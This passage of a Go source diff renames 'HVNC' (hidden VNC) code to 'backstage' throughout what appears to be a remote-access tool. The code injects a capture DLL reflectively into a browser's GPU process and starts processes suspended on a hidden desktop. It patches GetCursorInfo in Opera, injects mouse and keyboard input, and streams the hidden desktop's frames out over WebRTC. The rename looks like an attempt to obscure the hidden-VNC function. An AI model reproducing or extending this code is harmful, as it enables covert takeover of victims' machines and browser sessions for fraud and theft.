log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
if !backstageDXGIEnabled.Load() {
log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
} else {
go func() {
defer recoverAndLog("hvnc deferred gpu inject", nil)
hvncDeferredGPUInject(pid, captureDllBytes)
defer recoverAndLog("backstage deferred gpu inject", nil)
backstageDeferredGPUInject(pid, captureDllBytes)
}()
}
}
@@ -931,46 +931,46 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
return pid, nil
}
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
time.Sleep(4 * time.Second)
for attempt := 0; attempt < 15; attempt++ {
gpuPID, err := findGPUChildProcess(browserPID)
if err != nil {
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
time.Sleep(2 * time.Second)
continue
}
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
if hProcess == 0 {
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID)
return
}
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
procCloseHandle.Call(hProcess)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
}
return
}
procCloseHandle.Call(hProcess)
log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
hvncRegisterInjectedPID(gpuPID)
hvncRegisterGPUPID(browserPID, gpuPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
backstageRegisterInjectedPID(gpuPID)
backstageRegisterGPUPID(browserPID, gpuPID)
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
}
return
}
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID)
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, 0, "DXGI injection failed: GPU process not found")
}
}
@@ -1094,7 +1094,7 @@ func terminateProcess(hProcess uintptr) {
// createDLLSharedMemory creates a named page-file-backed section containing
// the raw DLL bytes. Returns the mapping handle and section name.
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
name = fmt.Sprintf("Local\\backstage_rdi_%d", time.Now().UnixNano())
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, "", err
@@ -1131,7 +1131,7 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
}
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
desktopNamePtr, err := syscall.UTF16PtrFromString(backstageDesktopName)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
@@ -1229,7 +1229,7 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int)
return nil, err
}
log.Printf("hvnc inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
log.Printf("backstage inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d",
blockLen, len(block), len([]rune(searchPath)), len([]rune(replacePath)), shmName != "", dllSize)
return block, nil
}
@@ -1312,7 +1312,7 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
if err != nil {
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
}
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
log.Printf("backstage inject: ReflectiveLoader at offset 0x%x", loaderOffset)
remoteBase, _, _ := procVirtualAllocEx.Call(
hProcess,
@@ -1356,9 +1356,9 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
var exitCode uint32
if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 {
log.Printf("hvnc inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
log.Printf("backstage inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode))
} else {
log.Printf("hvnc inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
}
procCloseHandle.Call(hThread)
@@ -71,7 +71,7 @@ func patchGetCursorInfo(pid uint32) error {
}
}
if !ok {
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
log.Printf("backstage patch: verification mismatch for PID %d", pid)
}
}
@@ -153,11 +153,11 @@ func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
time.Sleep(delay)
}
if err := patchGetCursorInfo(pid); err != nil {
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
log.Printf("backstage patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
continue
}
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
log.Printf("backstage patch: successfully patched GetCursorInfo in PID %d", pid)
return
}
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
log.Printf("backstage patch: all %d attempts failed for PID %d", maxRetries, pid)
}
@@ -7,67 +7,67 @@ import (
"image"
)
func InitializeHVNCDesktop() error {
return errors.New("HVNC not supported on this platform")
func InitializebackstageDesktop() error {
return errors.New("backstage not supported on this platform")
}
func CleanupHVNCDesktop() {}
func CleanupbackstageDesktop() {}
func SetHVNCCursorCapture(enabled bool) {}
func SetbackstageCursorCapture(enabled bool) {}
func SetHVNCDXGIEnabled(enabled bool) {}
func SetbackstageDXGIEnabled(enabled bool) {}
func GetHVNCDXGIEnabled() bool { return false }
func GetbackstageDXGIEnabled() bool { return false }
func SetHVNCUIAEnabled(enabled bool) {}
func SetbackstageUIAEnabled(enabled bool) {}
func GetHVNCUIAEnabled() bool { return false }
func GetbackstageUIAEnabled() bool { return false }
func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
return nil, errors.New("backstage not supported on this platform")
}
func HVNCMonitorCount() int {
func BackstageMonitorCount() int {
return 0
}
func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
return errors.New("HVNC not supported on this platform")
func StartbackstageProcess(filePath string, operaPatch bool, display int) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseMove(display int, x, y int32) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseMove(display int, x, y int32) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseDown(button int) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseDown(button int) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseUp(button int) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseUp(button int) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputKeyDown(vk uint16) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputKeyDown(vk uint16) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputKeyUp(vk uint16) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputKeyUp(vk uint16) error {
return errors.New("backstage not supported on this platform")
}
func HVNCInputMouseWheel(delta int32) error {
return errors.New("HVNC not supported on this platform")
func BackstageInputMouseWheel(delta int32) error {
return errors.New("backstage not supported on this platform")
}
func HVNCAutoStartExplorer() error {
return errors.New("HVNC not supported on this platform")
func BackstageAutoStartExplorer() error {
return errors.New("backstage not supported on this platform")
}
func HVNCKillAll() error {
return errors.New("HVNC not supported on this platform")
func BackstageKillAll() error {
return errors.New("backstage not supported on this platform")
}
type HVNCWindowInfo struct {
type BackstageWindowInfo struct {
HWND uintptr
Title string
X int
@@ -80,7 +80,7 @@ type HVNCWindowInfo struct {
Visible bool
}
type HVNCMonitorInfo struct {
type BackstageMonitorInfo struct {
Index int
Name string
X int
@@ -90,6 +90,6 @@ type HVNCMonitorInfo struct {
Primary bool
}
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
return nil, nil
}
@@ -825,7 +825,7 @@ func uiaInit() error {
return
}
uiaTreeWalker = uiaSingleton.GetControlViewWalker()
log.Printf("hvnc uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
log.Printf("backstage uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
})
return uiaInitErr
}
@@ -860,7 +860,7 @@ func uiaEnsureWorker() {
uiaWorkerCh = make(chan func(), 64)
uiaWorkerDone = make(chan struct{})
go func() {
defer recoverAndLog("hvnc uia worker", nil)
defer recoverAndLog("backstage uia worker", nil)
uiaWorkerLoop()
}()
})
@@ -871,23 +871,23 @@ func uiaWorkerLoop() {
defer runtime.UnlockOSThread()
defer close(uiaWorkerDone)
hvncDesktopMu.Lock()
dh := hvncDesktopHandle
hvncDesktopMu.Unlock()
backstageDesktopMu.Lock()
dh := backstageDesktopHandle
backstageDesktopMu.Unlock()
if dh != 0 {
r, _, err := procSetThreadDesktop.Call(dh)
if r == 0 {
log.Printf("hvnc uia: worker SetThreadDesktop failed: %v", err)
log.Printf("backstage uia: worker SetThreadDesktop failed: %v", err)
for range uiaWorkerCh {
}
return
}
} else {
log.Printf("hvnc uia: warning — worker started before HVNC desktop exists")
log.Printf("backstage uia: warning — worker started before backstage desktop exists")
}
if err := uiaInit(); err != nil {
log.Printf("hvnc uia: worker init failed: %v", err)
log.Printf("backstage uia: worker init failed: %v", err)
for range uiaWorkerCh {
}
return
File diff suppressed because it is too large Load Diff
+87 -87
View File
@@ -504,9 +504,9 @@ var (
prevMu sync.Mutex
prevFrame *prevImage
hvncPrevMu sync.Mutex
hvncPrevFrame *prevImage
hvncLastKeyframe atomic.Int64
backstagePrevMu sync.Mutex
backstagePrevFrame *prevImage
backstageLastKeyframe atomic.Int64
)
type prevImage struct {
@@ -616,12 +616,12 @@ func ResetPrev() {
resetH264Encoder()
}
func ResetPrevHVNC() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
func ResetPrevbackstage() {
backstagePrevMu.Lock()
backstagePrevFrame = nil
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(0)
resetH264Encoderbackstage()
}
func RequestDesktopFullFrame() {
@@ -642,12 +642,12 @@ func useDesktopSoftwareH264() bool {
return desktopSoftwareH264.Load()
}
func RequestHVNCFullFrame() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
func RequestbackstageFullFrame() {
backstagePrevMu.Lock()
backstagePrevFrame = nil
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(0)
resetH264Encoderbackstage()
}
func jpegQuality() int {
@@ -731,8 +731,8 @@ const (
cursorROIMargin = 32
windowROIMargin = 12
hvncSamplingRate = 1
hvncChangeThresh = 1
backstageSamplingRate = 1
backstageChangeThresh = 1
)
func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
@@ -841,7 +841,7 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil
}
func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
func buildFramebackstage(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
encStart := time.Now()
width := img.Bounds().Dx()
height := img.Bounds().Dy()
@@ -850,49 +850,49 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
now := time.Now()
if codec == "h264" {
if width%2 != 0 || height%2 != 0 {
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
log.Printf("backstage capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
codec = "jpeg"
} else {
if webrtcpub.ConsumeKeyframeRequest() {
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
h264Bytes, err := encodeH264FrameHVNC(img)
h264Bytes, err := encodeH264Framebackstage(img)
if err == nil && len(h264Bytes) > 0 {
hvncLastKeyframe.Store(now.UnixNano())
backstageLastKeyframe.Store(now.UnixNano())
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", Backstage: true}, Data: h264Bytes}
return frame, time.Since(encStart), nil
}
h264WarnOnce.Do(func() {
detail := h264AvailabilityDetail()
if detail != "" {
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
return
}
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err)
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v", err)
})
codec = "jpeg"
}
}
hvncPrevMu.Lock()
pf := hvncPrevFrame
hvncPrevMu.Unlock()
backstagePrevMu.Lock()
pf := backstagePrevFrame
backstagePrevMu.Unlock()
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery {
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, backstageLastKeyframe.Load())) > keyframeEvery {
jpegBytes, err := encodeJPEG(img, quality)
hvncPrevMu.Lock()
copyPrevHVNC(img)
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(now.UnixNano())
backstagePrevMu.Lock()
copyPrevbackstage(img)
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(now.UnixNano())
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
return frame, time.Since(encStart), err
}
// use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures
// use strict block detection for backstage otherwise half the time it just doesn't fucking update pictures
// because of how slow the capture shit is.
blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display)
blocks, blockPayload, encDur, err := encodeBlocksbackstage(img, pf, quality, codec, display)
if err != nil {
return wire.Frame{}, encDur, err
}
@@ -901,7 +901,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
// Keepalive frames indicate no block-level changes, so avoid copying the
// full RGBA buffer into prevFrame again.
statKeepaliveFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", Backstage: true}, Data: blockPayload}
return frame, encDur, nil
}
@@ -910,13 +910,13 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
if changedRatio > maxBlockRatio {
jpegBytes, err := encodeJPEG(img, quality)
hvncPrevMu.Lock()
copyPrevHVNC(img)
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(now.UnixNano())
backstagePrevMu.Lock()
copyPrevbackstage(img)
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(now.UnixNano())
statBlockFallbacks.Add(1)
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
return frame, time.Since(encStart), err
}
@@ -926,7 +926,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
if codec == "raw" {
format = "blocks_raw"
}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, Backstage: true}, Data: blockPayload}
return frame, encDur, nil
}
@@ -1001,7 +1001,7 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
if !changed && blockIntersectsROI(x, y, ww, hh, rois) {
changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
changed = blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
}
if changed {
changedGrid[by*blocksWide+bx] = true
@@ -1276,12 +1276,12 @@ func sortRegionsByROI(regions []streamRegion, hints []roiHint) {
})
}
func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
func blockChangedbackstage(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
changedPixels := 0
sampledPixels := 0
for row := 0; row < h; row += hvncSamplingRate {
for col := 0; col < w; col += hvncSamplingRate {
for row := 0; row < h; row += backstageSamplingRate {
for col := 0; col < w; col += backstageSamplingRate {
sampledPixels++
ci := (y+row)*curStride + (x+col)*4
pi := (y+row)*prevStride + (x+col)*4
@@ -1304,7 +1304,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
db = -db
}
if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh {
if dr > backstageChangeThresh || dg > backstageChangeThresh || db > backstageChangeThresh {
changedPixels++
if sampledPixels > 20 && changedPixels*100 > sampledPixels {
@@ -1320,7 +1320,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
return changedPixels*100 > sampledPixels
}
func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
func encodeBlocksbackstage(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
width := img.Bounds().Dx()
height := img.Bounds().Dy()
stride := img.Stride
@@ -1360,7 +1360,7 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
hh = height - y
}
if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
if blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
changedGrid[by*blocksWide+bx] = true
changedCount++
}
@@ -1513,19 +1513,19 @@ func copyPrev(img *image.RGBA) {
}
}
func copyPrevHVNC(img *image.RGBA) {
func copyPrevbackstage(img *image.RGBA) {
width := img.Bounds().Dx()
height := img.Bounds().Dy()
n := len(img.Pix)
if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n {
hvncPrevFrame.w = width
hvncPrevFrame.h = height
hvncPrevFrame.pix = hvncPrevFrame.pix[:n]
copy(hvncPrevFrame.pix, img.Pix)
if backstagePrevFrame != nil && cap(backstagePrevFrame.pix) >= n {
backstagePrevFrame.w = width
backstagePrevFrame.h = height
backstagePrevFrame.pix = backstagePrevFrame.pix[:n]
copy(backstagePrevFrame.pix, img.Pix)
} else {
buf := make([]byte, n)
copy(buf, img.Pix)
hvncPrevFrame = &prevImage{w: width, h: height, pix: buf}
backstagePrevFrame = &prevImage{w: width, h: height, pix: buf}
}
}
@@ -1587,25 +1587,25 @@ func SetQualityAndCodec(quality int, codec string) {
h264WarnOnce = sync.Once{}
if s != "h264" {
resetH264Encoder()
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
case "":
default:
overrideCodec.Store("jpeg")
resetH264Encoder()
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
}
func NowHVNC(ctx context.Context, env *rt.Env) error {
func Nowbackstage(ctx context.Context, env *rt.Env) error {
if env.Cfg.DisableCapture {
return sendBlackFrameHVNC(ctx, env)
return sendBlackFramebackstage(ctx, env)
}
if !supportsBackstageCapture() {
return nil
}
return captureAndSendHVNC(ctx, env)
return captureAndSendbackstage(ctx, env)
}
func NowVirtual(ctx context.Context, env *rt.Env) error {
@@ -1659,7 +1659,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
PutRGBA(img)
@@ -1668,7 +1668,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
frame, encodeDur, err := buildFramebackstage(img, 0, quality)
PutRGBA(img)
img = nil
if err != nil {
@@ -1691,12 +1691,12 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
if slotAcquired {
@@ -1737,12 +1737,12 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
if ctx.Err() != nil {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
return nil
@@ -1769,7 +1769,7 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
quality := 60
frame, _, err := buildFrameHVNC(img, 0, quality)
frame, _, err := buildFramebackstage(img, 0, quality)
if err != nil {
return err
}
@@ -1778,36 +1778,36 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
}
func supportsBackstageCapture() bool {
count := HVNCMonitorCount()
count := BackstageMonitorCount()
return count > 0
}
func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
defer func() {
if r := recover(); r != nil {
log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r)
log.Printf("backstage capture: panic in captureAndSendbackstage: %v", r)
}
}()
display := env.HVNCSelectedDisplay
if display < 0 || display >= HVNCMonitorCount() {
display := env.BackstageSelectedDisplay
if display < 0 || display >= BackstageMonitorCount() {
display = 0
log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display)
log.Printf("backstage capture: requested display %d out of range, defaulting to 0", display)
}
t0 := time.Now()
img, err := safeBackstageCaptureDisplay(display)
if err != nil {
log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
return sendBlackFrameHVNC(ctx, env)
log.Printf("backstage capture: capture failed: %v (sending black frame)", err)
return sendBlackFramebackstage(ctx, env)
}
if img == nil {
log.Printf("hvnc capture: capture returned nil image (sending black frame)")
return sendBlackFrameHVNC(ctx, env)
log.Printf("backstage capture: capture returned nil image (sending black frame)")
return sendBlackFramebackstage(ctx, env)
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
PutRGBA(img)
@@ -1816,7 +1816,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
frame, encodeDur, err := buildFramebackstage(img, display, quality)
PutRGBA(img)
img = nil
if err != nil {
@@ -1839,13 +1839,13 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write backstage h264 failed: %v", werr)
}
if slotAcquired {
ReleaseFrameSlot()
@@ -1868,7 +1868,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
if shouldLogFrame(now) {
total := time.Since(t0)
log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
log.Printf("backstage capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
}
@@ -1886,14 +1886,14 @@ func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
return img, nil
}
func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
func sendBlackFramebackstage(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
quality := 60
frame, _, err := buildFrameHVNC(img, 0, quality)
frame, _, err := buildFramebackstage(img, 0, quality)
if err != nil {
return err
}
@@ -23,9 +23,9 @@ func resetH264Encoder() {}
func RequestDesktopH264Keyframe() {}
func resetH264EncoderHVNC() {}
func resetH264Encoderbackstage() {}
func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) {
func encodeH264Framebackstage(_ *image.RGBA) ([]byte, error) {
return nil, errors.New("h264 support not available (cgo disabled)")
}
@@ -523,8 +523,8 @@ var (
h264Enc h264FrameEncoder
h264LastErr error
hvncH264Mu sync.Mutex
hvncH264Enc h264FrameEncoder
backstageH264Mu sync.Mutex
backstageH264Enc h264FrameEncoder
webcamH264Mu sync.Mutex
webcamH264Enc h264FrameEncoder
@@ -538,10 +538,10 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
return out, err
}
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
return encodeH264FrameWithEncoder(&backstageH264Enc, "backstage", img)
}
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
@@ -624,10 +624,10 @@ func RequestDesktopH264Keyframe() {
resetH264Encoder()
}
func resetH264EncoderHVNC() {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
closeH264Encoder(&hvncH264Enc)
func resetH264Encoderbackstage() {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
closeH264Encoder(&backstageH264Enc)
}
func closeH264Encoder(slot *h264FrameEncoder) {
@@ -1410,7 +1410,7 @@ func average2x2RGB(row0, row1 []byte, x int) (int, int, int) {
func shutdownMediaFoundationForTest() {
closeH264Encoder(&h264Enc)
closeH264Encoder(&hvncH264Enc)
closeH264Encoder(&backstageH264Enc)
closeH264Encoder(&webcamH264Enc)
_, _, _ = procMFShutdown.Call()
}
@@ -142,57 +142,57 @@ func closeH264EncoderLocked() {
}
var (
hvncH264Mu sync.Mutex
hvncH264Enc *x264.Encoder
hvncH264Buf bytes.Buffer
hvncH264Width int
hvncH264Height int
hvncH264FPS int
hvncH264Scratch []byte
backstageH264Mu sync.Mutex
backstageH264Enc *x264.Encoder
